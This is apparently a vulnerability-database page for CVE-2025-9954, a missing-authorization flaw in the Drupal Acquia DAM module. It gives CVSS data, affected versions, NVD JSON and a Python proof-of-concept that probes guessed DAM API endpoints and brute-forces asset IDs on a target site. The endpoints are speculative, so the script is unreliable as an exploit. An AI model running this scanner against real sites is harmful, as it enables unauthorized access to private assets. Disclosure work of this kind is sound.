Security Vulnerability Report
中文
CVE-2025-9954 CVSS 7.5 HIGH

CVE-2025-9954

Published: 2025-10-30 00:15:35
Last Modified: 2025-12-03 20:06:39

Description

Missing Authorization vulnerability in Drupal Acquia DAM allows Forceful Browsing.This issue affects Acquia DAM: from 0.0.0 before 1.1.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:acquia:dam:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal Acquia DAM 0.0.0 - 1.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9954 PoC - Drupal Acquia DAM Missing Authorization # Description: Forceful Browsing via Unprotected Endpoints import requests import sys TARGET_URL = "https://target-site.com" def check_vulnerability(): """ Test for missing authorization vulnerability in Acquia DAM """ # Common unprotected endpoints that may expose sensitive data potential_endpoints = [ "/dam/api/assets", "/dam/api/assets/list", "/dam/api/files/{asset_id}", "/dam/assets/download/{filename}", "/dam/api/collection/{collection_id}", "/dam/api/users/permissions" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json" } for endpoint in potential_endpoints: try: url = TARGET_URL + endpoint response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'json' in content_type or len(response.content) > 0: print(f"[+] POTENTIAL VULNERABILITY: {endpoint}") print(f" Status: {response.status_code}") print(f" Content-Type: {content_type}") print(f" Response Length: {len(response.content)} bytes") print() except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") def brute_force_asset_ids(): """ Attempt to access assets by iterating through asset IDs """ print("[*] Attempting to brute force asset IDs...") for asset_id in range(1, 100): url = f"{TARGET_URL}/dam/api/assets/{asset_id}" try: response = requests.get(url, timeout=5, verify=False) if response.status_code == 200 and len(response.content) > 100: print(f"[!] Found accessible asset ID: {asset_id}") except: pass if __name__ == "__main__": print("=" * 60) print("CVE-2025-9954 - Drupal Acquia DAM Missing Authorization") print("=" * 60) check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9954", "sourceIdentifier": "[email protected]", "published": "2025-10-30T00:15:35.137", "lastModified": "2025-12-03T20:06:38.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Drupal Acquia DAM allows Forceful Browsing.This issue affects Acquia DAM: from 0.0.0 before 1.1.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:acquia:dam:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.1.5", "matchCriteriaId": "516A8C7C-4F95-4384-8E21-4D5987F0345D"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-105", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}